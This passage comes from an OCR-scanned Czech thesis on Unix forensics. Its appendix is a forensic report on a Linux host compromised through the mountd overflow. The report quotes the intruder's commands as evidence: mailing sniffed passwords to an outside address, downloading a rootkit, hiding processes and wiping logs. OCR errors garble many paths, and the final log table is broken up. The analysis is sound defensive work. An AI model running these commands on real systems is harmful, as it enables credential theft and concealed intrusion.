jiz zminoval, vybrani konkrétnich opatreni je zavislé na zakladé hodno-
ceni bezpecnostnich rizik a samotna implementace zavisi na konkrétni
situaci. Tento pristup dava sice uzivatelim velkou implementacni flexibi-
litu, ovSem také zptisobuje jisté obtiZze pri posuzovani, zdali dany subjekt
splnuje podminky certifikace. ISO normu lze objednat napr. prostrednic-
tvim ISO institutu (http://www.iso.org).

Ziskavani elektronickych diikazt popisuje také RFC 3227 Samotny
bezpecnostni incident je definovan v RFC 2828?]. RFC (Request for Com-
ments) je rozsahla série dokumentti, které nejsou primo normami, ale
jakymi si zaznamy popisujici inovace, metodologie aplikovatelné v inter-
netovych technologiich.

ftp:/ /ftp.isi.edu/in-notes/rfc3227.txt
2ftp:/ /ftp.isi.edu/in-notes/rfc2828.txt 91
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Vidime, Ze z technického hlediska existuji prostredky pro kvalitni forenzni
analyzu unixovych systému nebo i digitalnich dat obecneé. Zalezi z které
urovneé analyzy vychazime. Zjistili jsme, ze pomoci Open Source vybaveni
lze takovy zisk elektronickych diikazti provést velmi levné, nebo zcela
bez nakladi na softwarové vybaveni. Samozrejmé musime pocitat cas a
pridanou hodnotu. Naklady s vySetrovanim jsou v praci dobre popsané.
Bariéry branici optimalnimu vySetrovani jsou leckde spiSe legislativni po-
vahy. Udalosti poslednich meésicti vSak ukazuji, Ze vSe sméruje spravnym
smérem a mozna se v dohledné budoucnosti dockame zazemi, které se
bude blizit napt. tomu v USA.

Z pohledu organizace je dulezité si uvédomit, Ze jeji informacni bezpec-
nost je prolomitelna neustale. Nepomuize silna kryptografie, nepomuiize
implementace bezpecnostniho zarizeni. Dokonala bezpecnost zkratka ne-
existuje. Jak rika Bruce Schneier, uznavany specialista bezpecnosti ICT:
"Security is not a product - it’s a process." Je to skutecne tak. Jedna se o
komplexni strukturu, do které nespada jen jeden problém, jedna oblast.
Bezpecnost zavisi na mnoha aspektech, kam patri i napr. chovani, jed-
nani relevantnich subjektu.

Kdyz uz si napf. jako vedouci pracovnici organizaci uvédomime, Ze
absolutni bezpecnost IT systémtim ¢i dat zajistit nemtizeme, zbavime se
faleSného pocitu bezpeci, tak zjistime, Ze pocitat a byt pripraveny na bez-
pecnosti incident neni nic Spatného. Naopak ten, kdo rika, Ze bezpecnost
jeho dat je stoprocentni a moznost vyskytu bezpecnostniho incidentu si
nepripousti, se bude velmi divit az se u n¢j objevi. Takové jednani muze
vyrazné ohrozit konkurence schopnost celé organizace, ne-li organizaci
jako takovou.
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9. Zaveér

Pokud firma bezpecnostni politiku nebo politiku reakce na incidenty
neresi a incident nastane, je dalezité, aby reagovala velmi rychle. V tomto
pripadé zrejmé specializovana pracovisté nebo specialisty, kteri dokazi
jejich problém vyftesit. Cas zde hraje dtilezitou roli. Z pozice firmy jde
predevsim o naklady s incidentem spojené. Z pozice vySetrovatele mohou
prutahy znamenat komplikace pri vysSetrovani.

Samotny zisk dukazu je z pohledu vySetrovatele velmi zajimava ¢in-
nost nejen pro technicky zalozené osoby. Je vSak potreba za tim vidét né-
kdy opravdu velmi zdlouhavou monotonni praci. A ted nerozlisuji, jestli
jste profesional, ktery prichazi do styku se skutecnymi pripady. A nebo
amatér, ktery napr. analyzuje data z honeypotil a zticastnuje se soutézi,
kde proveéruje své dovednosti s jinymi.

Je s podivem, kolik toho lze pfi takové analyze najit. Pravidlem je vSak

ti to, ze pri vySetrovani se vzdy néco opomene - resp. neodhali vSe, co by
odhalit Slo.
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Dodatek A

Znalecky posudek
kompromitovaného systému

Jedna se o skutecny posudek unixového systém. Obsahuje analyzu za-
znamu o pristupech, analyzu zaznamu ze snifferti, pristupy souboru a
samotny obsah souborového systému vSech zainteresovanych subjektu.
Posudek je ptivodem z USA. VSechny citlivé informace identifikujici jed-
notlivé pocitace jsou odstranény.

The following is an analysis of the root (only) partition from

XXX XX XKXXXXXXXXXXXXXXXX as it existed after being taken off-line when it
was discovered it was compromised and likely running a network sniffer.

(A tar format copy of this file system is available on ISO 9660 CD-R).

The host XXXXXXXXXXXXXXXXXXXXXX was one of a series of 19 systems
suspected to have all been compromised by the same group of intruders

in early XXX XXXX, using the Linux mountd buffer overrun bug

documented in CERT Advisory CA-98.12:

http://www.cert.org/advisories/CA-98.12.mountd.html

The drive was analyzed using the tools assembled by Dan Farmer and
Wietse Venema in their "Coroner’'s Toolkit", used in a class on Unix
forensic analysis. See:

http://www.fish.com/security/forensics.html

On the analysis system, the disc appears as device /dev/hdc. The first
partition, /dev/hdcl, was mounted "read-only” on the mount point "/x".
As a result, all paths will be preceded by this path, rather than simply
the single "/". The actual drive geometry is shown here:

1Zdroj: Dave Dittrich - University of Washington.
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Disk /dev/hdc: 32 heads, 63 sectors, 825 cylinders
Units = cylinders of 2016 * 512 bytes

Device Boot Start End Blocks Id System
/dev/hdcl 1 793 799312+ 83 Linux
/dev/hdc2 794 825 32256 82 Linux swap

As the bulk of intrusions appeared to start in early XXXXXXXX, sorted
timestamp listings were started from XXX 01.

There were no obvious signs modified/installed files which indicate the
method of intrusion between XXX 01 and XXX 04. On XXX 04,
the Berkeley "r" utility remote login daemon ("in.rlogind") is modified.

XXX 04 XX 23:42:21 23421 m.. -rwxr-xr-x root root  /x/usr/shin/in.rlogind

Examination of strings in this program show it to be a trojan horse
network daemon that uses the same string found on other systems
compromised by this group, the word "XXXXXXXX":

rlogind

ahLlIn

XXXXXXXX

Can't get peer name of remote host: %m
Can’t get peer name of remote host
setsockopt (SO_KEEPALIVE): %m
setsockopt (IP_TOS): %m

hname !'= NULL

rlogind.c

Eight days later, it shows a change, at the same time the "chown"
program is run:

XXX 12 XX 11:04:10 23421 ..c -rwxr-xr-x root root  /x/usr/sbin/in.rlogind
XXX 12 XX 11:04:11 8156 .a. -rwxr-xr-x root bin Ix/bin/chown

A half hour later, a source file for a sniffer (“linsniff.c") is copied

into a hidden directory in /etc/ (named "/etc/.. " that is
dot-dot-space-space-space, which is turned into "/etc/..___" for this
listing.)

The program is then compiled (include files indicating a network aware
program are accessed) and placed into a system directory in the file
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"fusr/shin/telnetd"”.

Four minutes later, an incoming ftp connection is apparently made
(as seen by an access to the "wu.ftpd" program and its process id
file):

XXX 12 XX 11:36:59 5127 m.c -rw-r--r-- root root  /x/etc/..__/linsniff.c
XXX 12 XX 11:37:08 4967 .a. -rw-r--r-- root root Ixlusr/src/
linuxelf-1.2.13/if.h
3143 .a. -rw-r--r-- root root Ixlusr/src/
linuxelf-1.2.13/if_arp.h
3145 .a. -rw-r--r-- root root  /x/usr/src/
linuxelf-1.2.13/if_ether.h
1910 .a. -rw-r--r-- root root Ixlusr/src/
linuxelf-1.2.13/ip.h
2234 .a. -rw-r--r-- root root Ixlusr/src/
linuxelf-1.2.13/route.h
1381 .a. -rw-r--r-- root root  /x/usr/src/
linuxelf-1.2.13/tcp.h
XXX 12 XX 11:37:10 2048 ..c drwxr-xr-x root bin Ix/usr/sbin
XXX 12 XX 11:37:14 2048 m.. drwxr-xr-x root bin Ixlusr/shin
XXX 12 XX 11:37:15 8179 m.c -rwxr-xr-x root root Ix/usr/sbin/telnetd
XXX 12 XX 11:37:48 8179 .a. -rwxr-xr-x root root  /x/usr/sbin/telnetd
XXX 12 XX 11:41:52 77476 .a. -rwxr-xr-x root bin Ix/usr/sbin/wu.ftpd
XXX 12 XX 11:42:08 4096 mac -rw-r--r-- root root  /x/var/pid/ftp.pids-remote

The login session that corresponds with this file system activity
can be identified from strings in the deleted file space of the root
partition on XXXXXXX:

XXX 12 11:33:05 XXXX in.telnetd[1290]: connect from AAAAAAXXXXXX.XXX
XXX 12 11:33:16 XXXX login: 1 LOGIN FAILURE FROM AAAAAA XXXXXX.XXX, XXX
XXX 12 11:33:21 XXXX login: 2 LOGIN FAILURES FROM AAAAAAXXXXXX. XXX, XXX

XXX 12 11:34:02 XXXX su: XXXXX on /devi/ttypl

XXX 12 11:41:52 XXXX wu.ftpd[1327]: connect from BBBBBBB.XXXXXX.XXX
XXX 12 11:41:57 XXXX ftpd[1327]: USER XXXXX

XXX 12 11:41:59 XXXX ftpd[1327]: PASS password

XXX 12 11:42:00 XXXX ftpd[1327]: SYST

XXX 12 11:42:01 XXXX ftpd[1327]: CWD /tmp

XXX 12 11:42:06 XXXX ftpd[1327]: TYPE Image

XXX 12 11:42:06 XXXX ftpd[1327]: PORT

XXX 12 11:42:06 XXXX ftpd[1327]: STOR mountd

XXX 12 11:42:08 XXXX ftpd[1327]: QUIT

XXX 12 11:42:08 XXXX ftpd[1327]: FTP session closed

XXX 12 12:00:25 XXXX in.telnetd[1342]: connect from AAAAAAXXXXXX.XXX
XXX 12 12:00:25 XXXX telnetd[1342]: ttloop: peer died: Try again

Also seen in these logs is the downloading of the mountd buffer overrun
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exploit (the file "mountd"), which they were using to break in to the
Linux systems. (Is this the exploit? Need to check filesystem.)

From this, it can be infered that the intruder has an active session on
AAAAAA XXX XXX XXX [XXX XXX XXX.XX] that runs from some time prior to
11:33:05 to at least 12:00:25 PST (which is 14:33:05 to 15:00:25 EST,

the timezone in which XXXXXX. XXX resides).

Strings in "/usr/sbin/telnetd” show this to be the sniffer just
compiled. The default sniffer log file name (“"tcp.log”) is also
visible:

cant get SOCK_PACKET socket
cant get flags

cant set promiscuous mode
----- [CAPLEN Exceeded]

----- [Timed Out]

----- [RST]

%s [%d]

eth0

tcp.log

cant open log
Exiting...

On XXXXXXXX 13, another network aware program is compiled, which uses
many more facilities than the sniffer. (The fact that no binary appears

to exist with modification/change dates at this time may indicate it was

run and deleted as a tactic to hide its presence from the system owner,

or just subsequently deleted by the intruders or system administrator.)

XXX 13 XX 10:01:46 55492 .a. -rwxr-xr-x root  root /x/usr/bin/gcc
6211 .a. -rw-r--r-- root  root /x/usrf/include/

stdio.h
92696 .a. -rwxr-xr-x root  root /x/usr/lib/gcc-lib/
2.7.0/cpp
1003 .a. -rwxr-xr-x root  root /x/usr/lib/gcc-lib/
2.7.0/specs

XXX 13 XX 10:01:47 2767 .a. -rw-r--r-- root  root /x/usr/include/_G_config.h

1441 .a. -rw-r--r-- root root /x/usr/include/alloca.h
2040 .a. -rw-r--r-- root root /x/usr/include/confname.h
1267 .a. -rw-r--r-- root root /x/usr/include/errno.h
4186 .a. -rw-r--r-- root root /x/usr/include/features.h
4434 .a. -rw-r--r-- root  root /x/usr/include/gnu/types.h
7917 .a. -rw-r--r-- root root /x/usr/include/libio.h

380 .a. -rw-r--r-- root  root /x/usr/include/posix_opt.h
4419 .a. -rw-r--r-- root  root /x/usrf/include/signal.h

iv
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15134
7537
3909
4538

321

25129

8841

1029

6298

2065

2794

3846

2621 .a.

XXX 13 XX 10:01:48 3668 .a.
734
1555
3248
6390
2663
3562
2643
2680
3777
709
2315
5273
2852
1156
3724

1418196

3049

®

330

2101

266

3965

720

78

1146 .a.

PPpPPED

o

.a.

.a.

A N N N Y SN

. -TW-r--r-- root

-rw-r--r-- root  root /x/usr/include/stdlib.h
-rw-r--r-- root  root /x/usrf/include/string.h
-rw-r--r-- root  root /x/usr/include/sys/cdefs.h
-rw-r--r-- root  root /x/usrf/include/sys/socket.h
-rw-r--r-- root  root /x/usr/include/sys/types.h
-rw-r--r-- root root /x/usr/include/unistd.h
-r--r--r-- root  root /x/ustr/lib/gcc-lib/include/
stddef.h
-fw-r--r-- root root /x/usr/src/linuxelf-1.2.13/
types.h
-fw-r--r-- root root /x/usr/src/linuxelf-1.2.13/
errno.h
-fw-r--r-- root root /x/usr/src/linuxelf-1.2.13/
signal.h
-fw-r--r-- root root /x/usr/src/linuxelf-1.2.13/
socket.h
-fw-r--r-- root root /x/usr/src/linuxelf-1.2.13/
sockios.h
-fw-r--r-- root root  /x/usr/src/linuxelf-1.2.13/
types.h
-rw-r--r-- root root /x/usr/include/arpa/inet.h
-rw-r--r-- root  root /x/usr/include/bytesex.h
-rw-r--r-- root root /x/usr/include/endian.h
-rw-r--r-- root  root /x/usrf/include/limits.h
-rw-r--r-- root  root /x/usrf/include/netdb.h
-fw-r--r-- root root /x/usr/include/netinet/in.h
-rw-r--r-- root  root /x/usrf/include/paths.h
-rw-r--r-- root  root /x/usrf/include/posix1_lim.h
-rw-r--r-- root  root /x/usr/include/posix2_lim.h
-rw-r--r-- root  root /x/usrf/include/sys/bitypes.h
-rw-r--r-- root  root /x/usrf/include/sys/param.h
-rw-r--r-- root  root /x/usr/include/sys/time.h
-rw-r--r-- root  root /x/usrf/include/sys/wait.h
-rw-r--r-- root  root /x/usrf/include/time.h
-rw-r--r-- root  root /x/usr/include/waitflags.h
-rw-r--r-- root  root /x/usrf/include/waitstatus.h
-rwxr-xr-x root  root /x/ust/lib/gcc-lib/i486-linux/
2.7.0/ccl
. -rw-r--r-- root  root /x/ust/lib/gcc-lib/i486-linux/
2.7.0/include/limits.h
. -r--r--r-- root  root /x/ust/lib/gcc-lib/i486-linux/
2.7.0/include/syslimits.h
. -Iw-r--r-- root root /x/usr/src/linuxelf-1.2.13/

include/asm-i386/byteorder.h
root /x/usr/src/linuxelf-1.2.13/
include/asm-i386/param.h

. -TW-r--r-- root root /x/usr/src/linuxelf-1.2.13/
include/linux/in.h

. -fW-r--r-- root root /x/usr/src/linuxelf-1.2.13/
include/linux/limits.h

. -Irw-r--r-- root root /x/usr/src/linuxelf-1.2.13/

include/linux/param.h
-fW-r--r-- root root /x/usr/src/linuxelf-1.2.13/
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include/linux/time.h
313 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/
include/linux/version.h
698 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/
include/linux/wait.h
XXX 13 XX 10:01:57 117668 .a. -rwxr-xr-x root bin Ixlusr/bin/as
XXX 13 XX 10:01:58 145695 .a. -rwxr-xr-x root bin /x/usr/bin/ld
XXX 13 XX 10:01:59 1088 .a. -rw-r--r-- root root /x/usr/lib/crtl.o

1216 .a. -rw-r--r-- root  root /x/ust/lib/crtbegin.o
1212 .a. -rw-r--r-- root root /x/usr/lib/crtend.o
624 .a. -rw-r--r-- root root /x/usr/lib/crti.o
396 .a. -rw-r--r-- root root /x/usr/lib/crtn.o

204146 .a. -rw-r--r-- root  root /x/ustr/lib/gcc-lib/

i486-linux/2.7.0/libgcc.a

On XXX 14, "ncftp" (a File Transfer Protocol, or FTP, client) is
run:

XXX 14 XX 00:42:50 146881 .a. -rwxr-xr-x root bin Ixlusr/bin/ncftp

Login records from the system XXXXXXX.XXXXXXX. XXX (aka "XXX.XXX") show a
login to XXXXXXX.XXXXXXX. XXX at this time (XXXXXXX is also in the EST,

or +0300 hours ahead of PST), which is bounded before and after by
connections directly from CCCCCCCC. XXXXXXXX. XXX,
XXXXXXXXXXXXX.washington.edu, and XXXXXXXXXXXX.washington.edu:

XXX ftp XXXXXXXXXXXXXXX Sat XXX 14 03:46 - 04:08 (00:21)
XXX ftp XXXXXXX.washingt Sat XXX 14 03:46 - 03:46 (00:00)

XXX ftp XXXXXXXXXXXXXXX Sat XXX 14 03:38 - 03:40 (00:02)
XXX ftp XXXXXXXXXXXXX.wa Sat XXX 14 03:37 - 03:39 (00:02)
XXX ftp XXXXXXXXXXXX.was Sat XXX 14 03:19 - 03:20 (00:00)

There is only one occurrence of the "ncftp" command logged by a sniffer
on XXXXXXX (line 347 in "tcp.log"). Weaknesses in the way linsniff
detects sessions means that this may not be the actual event itself, and
if it were, the logging of the telnet session could miss the ftp

connection to XXXXXXX XX XXXXX. XXX:

XXX XXX XXXXXXX.washington.edu => XXXXXXX.washington.edu [23]
I"%W#$ 38400,38400vt100bdoor

password

w

su root

cd /etvc

cd . "

Is

cat /etc/".. "ltcp.log | mail hackeraccount@hotmail.com
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cat /etc/".. "tcp.log | mail hackeraccount@hotmail.com
ncftp -u Is

cp tep.dog 1

Is

ncftp -y XXX.XXX

[A[D[D[DI[D[D[D[D[Du

----- [Timed Out]

This ties the person using XXXXXXXXX, at the time the sniffer log file
was transferred to XXXXXXX.XXXXXXX. XXX, with CCCCCCCC.XXXXXXXX.XXX.

Four hours later, someone runs the "whoami" program, then later adds or
deletes a file from the hidden directory in /etc.

XXX 14 XX 04:07:42 3797 .a. -rwxr-xr-x root bin Ix/usr/bin/whoami
XXX 14 XX 04:08:18 1024 m.c drwxr-xr-x root root Ixletcl..____

Later on the night of XXX 14, in.identd is run. The in.identd daemon
is used to identify the username associated with a connection attempt
to a remote service. This is required by some Internet Relay Chat
servers, so this could indicate that someone made a connection to an
IRC server from this system at this time.

Also occurring are connections to the POP mail server daemon
("in.pop3d"), the Berkeley "r" utility login daemon ("in.rlogind"),

and a connection to the NFS mount daemon (“rpc.mountd”). The
rpc.mountd connection is immediately followed by execution of the "id"
command (this is the signature of the ADM mountd buffer overrun
exploit, which starts a shell and returns the process id of the NFS
mountd service daemon, usually root).

The intruder then uses this shell to create the directory
"Ivartmp/XXXXX" and install backdoor programs, log file cleanup

utilities, and a sniffer. Modification of several log files indicates

that the cleanup programs were run at this time to conceal the intrusion
(including zeroing out the contents of several log files):

XXX 14 XX 20:25:14 13004 .a. -rwxr-xr-x root  bin Ix/usr/sbin/in.identd
XXX 14 XX 22:24:52 15029 .a. -rwxr-xr-x root  bin Ix/usr/sbin/in.pop3d
XXX 15 XX 02:22:24 23421 .a. -rwxr-xr-x root  root  /x/usr/shin/in.rlogind
XXX 15 XX 02:23:07 25217 .a. -rwxr-xr-- root  bin Ix/usr/sbin/rpc.mountd
XXX 15 XX 02:23:08 7705 .a. -rwxr-xr-x root bin Ix/usr/bin/id

XXX 15 XX 02:24:22 28550 mac -rwxr-xr-x root  root  /x/vartmp/XXXXX/fix
13508 .a. -rwxr-xr-x root  root  /x/vartmp/XXXXX/
login.bak
XXX 15 XX 02:24:23 13508 m.c -rwxr-xr-x root  root  /x/var/tmp/XXXXX/
login.bak
1375 mac -rwxr-xr-x root  root  /x/var/tmp/XXXXX/
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readme
XXX 15 XX 02:24:39 26314 m.c -rwxr-xr-x root  root  /x/vartmp/XXXXX/
bindshell
27942 m.c -rwxr-xr-x root  root  /x/varftmp/XXXXX/
linsniffer
XXX 15 XX 02:24:41 26314 .a. -rwxr-xr-x root  root  /x/vartmp/XXXXX/
bindshell
27942 .a. -rwxr-xr-x root  root  /x/var/tmp/XXXXX/
linsniffer
XXX 15 XX 02:24:43 1126 m.c -rwxr-xr-x root root  /x/var/tmp/XXXXX/
clean
XX mac -rwxr-xr-x root  root  /x/vartmp/XXXXX/
imapdis
XXX 15 XX 02:24:59 4665 .a. -rwxr-xr-x root bin Ix/usr/bin/basename
XXX 15 XX 02:25:03 0 mac -rw-r--r-- root root  /x/var/log/cron
XXX 15 XX 02:25:04 0 ma. crw-rw-rw- root root  /x/dev/ttyp3
XXX 15 XX 02:25:06 0 .a. -rw-r--r-- root  root /x/var/log/debug
XXX 15 XX 02:25:08 0 .a. -rw-r--r-- root root  /x/var/log/lastlog

XXX 15 XX 02:25:12 2699 .a. -rw-r--r-- root  root  /x/var/log/syslog
XXX 15 XX 02:25:15 131968 .a. -rwxr-xr-x root  bin Ix/usr/bin/gawk
5941 .a. -rwxr-xr-x root bin Ixlusr/bin/wc
0 .a. -rw-r--r-- root root /x/var/log/xferlog
1024 m.c drwxr-xr-x root  root  /x/varftmp/XXXXX
1126 .a. -rwxr-xr-x root  root  /x/var/tmp/XXXXX/clean
XXX 15 XX 02:25:54 2802 m.c -rwxr-xr-x root  root  /x/etc/rc.d/rc.inet2
XXX 15 XX 02:26:13 12288 m.c -rw-rw-r-- root  root  /x/etc/psdevtab
XXX 15 XX 02:26:26 7416 .a. -rwxr-xr-x root  bin Ix/bin/mkdir
XXX 15 XX 02:26:33 15 m.c -rw-r--r-- root root IXIdevIXXXXXXXXILS
XXX 15 XX 02:26:40 1024 m.c drwxr-xr-x root root IxIdevIXXXXXXXX
25 m.c -rw-r--r-- root  root  /x/dev/IXXXXXXXX/PS

XXX 15 XX 02:28:37 0 .a. crw-rw-rw- root  root  /x/dev/ptyp2
XXX 15 XX 02:28:38 0 m.c crw-rw-rw- root  root  /x/dev/ptyp2
0 mac crw-rw-rw- root root  /x/dev/ttyp2
XXX 15 XX 02:29:58 0 m.c -rw-r--r-- root root /x/var/log/lastlog
XXX 15 XX 02:30:06 0 m.c -rw-r--r-- root  root  /x/var/log/xferlog

XXX 15 XX 02:31:03 66973 .a. -rwxr-xr-x root  hin Ix/bin/telnet
XXX 15 XX 02:35:01 1024 m.c drwxr-xr-x root  root  /x/var/log
0 mac -rw-r--r-- root  root  /x/var/log/sulog

XXX 15 XX 02:35:16 0 m.c -rw-r--r-- root root /x/var/log/debug
XXX 15 XX 02:35:51 0 ma. crw-rw-rw- root root  /x/dev/ptyp3
XXX 15 XX 02:35:52 0 ..c crw-rw-rw- root  root  /x/dev/ptyp3

0 ..c crw-rw-rw- root root  /x/dev/ttyp3
XXX 15 XX 03:21:57 1649 m.. -rw-r--r-- root  root /x/etc/passwd.OLD
XXX 15 XX 03:22:24 7317 .a. -rwxr-xr-x root bin IxIbin/killall
XXX 15 XX 03:22:40 58605 .a. -rwxr-xr-x root  bin Ix/bin/ps

25 .a. -rw-r--r-- root root  /x/deviIXXXXXXXX/PS

This activity appears to be seen starting at line 471 in the "tcp.log"
sniffer log file (between XXX 14 03:46 from line 348 and XXX 17 20:13
from the last modification date of the file):

viii



A. Znalecky posudek kompromitovaného systému

T XXX XXX XX => XXXXXXX. washington.edu [143]
----- [Timed Out]

T XXX X XXX XXX XX => XXXXXXX.washington.edu [513]
rootXXXXlinux/38400
----- [FIN]

HIHTHEXXXXXX X XXX XX => XXXXXXX.washington.edu [513]
rootXXXX-linux/38400
----- [FIN]

T XXX XXX XX => XXXXXXX.washington.edu [513]
rootrO0tlinux/38400t
----- [FIN]

I XXXX XXX XXX XX => XXXXXXX.washington.edu [23]
I"%P#$ 38400,38400linuxXXXXX

XXX

root

finger

cd /vartmp

Is -al

rm -rf .bash*

ftp XXXXXX XXX XXX
anonymous

ass

get XXXX.tgz
quituit

tar zxvf XXXX.tgz
chmod +x *
JINSTALL

Is -al

----- [Timed Out]

HTTHIEXXXX XXX XXX XX => GGGGGGG. XXXXXXXXXX. XXX [23]
I"%P#$ 38400,38400linuxrO0t

pico /etc/rc.d/irc.inetd2

rpc.mo.mo.mo.mountd

[A11

mountd

[A2

pmountd

[A[A[C[C[C[CI[CICIC[CI[CI[CICICI[C[C[C[B[C[C# [B[D[D#[B[D#[B[D# y
pico /etc/inetd.conf

[6~[6~killall -HUP inetd

cat /etc/inetd.conf

ps aux

kill -9 cd /dev

mkdir XXXXXXXX
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cd XXXXXXXX
pico LS
XXXXXXXX
XXXXXy

pico PS

3 bindshell

3 linsniffery
ps aux

kil -9 2541

----- [Timed Out]

This shows the intruder editing the rootkit configuration file for
"Is" (named "LS") to hide files/directories with "XXXXXXXX" and
"XXXXX" in their names, and the rootkit configuration file for "Is"
(named "PS") to hide processes with "bindshell* and "linsinffer" in
their names.

(The "y" seen in the strings "XXXXXy" and "linsniffery" are artifacts
of the intruder using the "pico" editor. The pico command to save
files is Ctrl-X. If the file has been modified in any way, pico
prompts the user:

Save modified buffer (ANSWERING "No" WILL DESTROY CHANGES) ?

The user must then type "y" to save the file. The sniffer is not
showing control characters, but the "y" does show up.)

The sniffer log entry here shows the XXXXXXXX directory being created,
then the files "LS" and "PS" being edited, in that order. This can be
seen in the mactime listing, likely tying this event to XXX 15 at

02:26:

XXX 15 XX 02:26:26 7416 .a. -rwxr-xr-x root bin Ix/bin/mkdir

XXX 15 XX 02:26:33 15 m.c -rw-r--r-- root roo IxIdevIXXXXXXXX/LS

XXX 15 XX 02:26:40 1024 m.c drwxr-xr-x root roo IxIdev/XXXXXXXX
25 m.c -rw-r--r-- root roo IxIdevIXXXXXXXX/PS

On XXX 16, someone creates a backup copy ("sniffer.log.save") of
a sniffer log file (“sniffer.log") in the directory

"Ivaritmp/XXXXX". These sniffer logs also show logins from
intruders, who then access the sniffer log file "tcp.log"):

XXX 16 XX 21:55:34 36088 .a. -rwxr-xr-x root bin Ix/bin/netstat

XXX 16 XX 21:58:27 1024 m.c drwxrwxrwx root root  /x/var/tmp

XXX 16 XX 21:58:52 6 .a. -rw-r--r-- root root /x/root/temp.txt

XXX 16 XX 22:50:33 1024 .a. drwxr-xr-x root root  /x/var/tmp/XXXXX

XXX 16 XX 22:51:02 6644 .a. -rw-r--r-- root root  /x/var/tmp/XXXXX/
sniffer.log
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XXX 16 XX 22:57:16 1024 .a. drwxr-xr-x root root  /x/vartmp/XXXXX
XXX 16 XX 23:39:51 1024 m.c drwxr-xr-x root root  /x/var/tmp/XXXXX
4992 mac -rw-r--r-- root root  /x/varftmp/XXXXX/
sniffer.log.save

The file "/root/temp.txt" contains the string "blah" on one line, and
another blank line. (It is not known what purpose this file serves.)

On XXX 17, a password is changed and a backup copy of the password
file is created.

XXX 17 XX 12:44:50 153384 .a. -rws--x--x root bin Ix/usr/bin/passwd
XXX 17 XX 12:45:05 1649 m.c -rw-r--r-- root root /x/etc/passwd
1649 ..c -rw-r--r-- root root /x/etc/passwd.OLD

Later on XXXXXXXX 17, someone logs in using telnet. Line printer status
is apparently obtained. Modifications to /dev/console indicate a
console login occurred as well. Modification/change dates are altered on

both sniffer logs, one "fetc/.. ltcp.log" and the other
"Ivar/tmp/XXXXX/sniffer.log", which could indicate they are
shut down:

XXX 17 XX 20:13:44 296 .a. -rw-r--r-- root root /x/etc/hosts.deny

40907 .a. -rwxr-xr-x root bin Ix/usr/sbin/tcpd
XXX 17 XX 20:13:45 40685 .a. -rwxr-xr-x root bin Ix/usr/sbin/in.telnetd
25 m.c -rw-rw-r-- root root /x/var/spool/lpl/status
XXX 17 XX 20:13:46 0 m.. crw-rw-rw- root root /x/dev/console
0 .a. crw-rw-rw- root root  /x/dev/ptypO
0 m.. crw-rw-rw- root root /x/dev/ttypO
18476 m.c -rw-r--r-- root root /xletc/..__/tcp.log
6644 m.c -rw-r--r-- root root  /x/vartmp/XXXXX/
sniffer.log
XXX 17 XX 20:13:50 0 ..c crw-rw-rw- root root /x/dev/console
0 ..c crw-rw-rw- root root  /x/dev/ptypO
0 ..c crw-rw-rw- root root /x/dev/ttypO

On XXX 18, sendmail is run. There is evidence in one of the sniffer
log files (“fetcl.. /tcp.log") that shows the intruder mailing a

copy of the tcp.log sniffer log to an email address, which most likely
occurred at this time:

XXX 18 XX 05:30:26 164060 .a. -r-sr-Sr-x root bin Ixlusr/sbin/sendmail

In addition to analyzing the active file system, all deleted files were
recovered using "unrm” from the Coroner's Toolkit. Simple examination
of the strings in the resulting file reveals several deleted scripts
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and log files.

The following is part of a rootkit installation/cleanup script:

cp /vartmpl/imap-d /var/tmp/XXXXX/programs/imapdis

rm -rf /var/tmp/imap-d

echo "6. cleaning logs"

cd /vartmp/XXXXX

cp /vartmp/clean /vartmp/XXXXX/programs/clean

rm -rf /var/tmp/clean

Ivaritmp/XXXXX/programs/clean XXXXXXX 1>/dev/null 2>/dev/null
Ivaritmp/XXXXX/programs/clean XXX.XXX 1>/dev/null 2/dev/null
Ivarftmp/XXXXX/programs/clean XXXX 1>/dev/null 2>/dev/null
echo "rootkit complete”

echo "rember to disable imapd"

echo "EOF"

The following are portions of deleted system log files that show
connections from various intruder points of origin.

XXX 11 15:26:11 XXXX in.fingerd[864]: connect from XXX-XXX-14. XXXXXXXXX.XXX
XXX 11 15:26:11 XXXX in.telnetd[865]: connect from XXX-XXX-14.XXXXXXXXX.XXX
XXX 11 15:26:11 XXXX telnetd[865]: ttloop: peer died: Try again

XXX 11 15:26:12 XXXX in.pop3d[866]: connect from XXX-XXX-14 XXXXXXXXX. XXX
XXX 11 15:26:13 XXXX in.telnetd[867]: connect from XXX-XXX-14.XXXXXXXXX.XXX

XXX 12 05:36:20 XXXX in.telnetd[1126]: connect from DDDDDD.XXXXXX.XXX

XXX 12 11:01:52 XXXX in.telnetd[1213]: connect from EEEEEEE.XXX.XXX
XXX 12 11:02:21 XXXX su: XXXXX on /devi/ttypl

XXX 12 11:04:28 XXXX in.rlogind[1229]: connect from CCCCCCCC. XXXXXXXX. XXX
XXX 12 11:04:44 XXXX in.rlogind[1230]: connect from CCCCCCCC.XXXXXXXX. XXX

XXX 12 11:08:57 XXXX su: XXXXX on /dev/ttypl
XXX 12 11:11:19 XXXX su: XXXXX on /dev/ttypl

XXX 12 11:33:05 XXXX in.telnetd[1290]: connect from AAAAAA XXXXXX. XXX
XXX 12 11:33:16 XXXX login: 1 LOGIN FAILURE FROM AAAAAAXXXXXX.XXX, XXX
XXX 12 11:33:21 XXXX login: 2 LOGIN FAILURES FROM AAAAAA XXXXXX. XXX, XXX

XXX 12 11:34:02 XXXX su: XXXXX on /dev/ttypl

XXX 12 11:41:52 XXXX wu.ftpd[1327]: connect from BBBBBBB.XXXXXX.XXX
XXX 12 11:41:57 XXXX ftpd[1327]: USER XXXXX

XXX 12 11:41:59 XXXX ftpd[1327]: PASS password

XXX 12 11:42:00 XXXX ftpd[1327]: SYST

XXX 12 11:42:01 XXXX ftpd[1327]: CWD /tmp

XXX 12 11:42:06 XXXX ftpd[1327]: TYPE Image

XXX 12 11:42:06 XXXX ftpd[1327]: PORT

XXX 12 11:42:06 XXXX ftpd[1327]: STOR mountd
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XXX
XXX
XXX
XXX

XXX
XXX
XXX
XXX
XXX
XXX
XXX
XXX
XXX
XXX
XXX
XXX
XXX

XXX

12
12
12
12

12
12

12

12
12
13
13

13

13
13

13

13
13

13

11:42:08
11:42:08
12:00:25
12:00:25

12:54:37

19:53:30

23:47:32
23:47:41
23:48:55
00:12:38
00:12:54

06:46:12
07:08:01
07:08:14

08:30:05
08:30:22
08:32:34

09:58:42

XXXX
XXXX
XXXX
XXXX

XXXX

XXXX

XXXX
XXXX
XXXX
XXXX
XXXX

XXXX
XXXX
XXXX

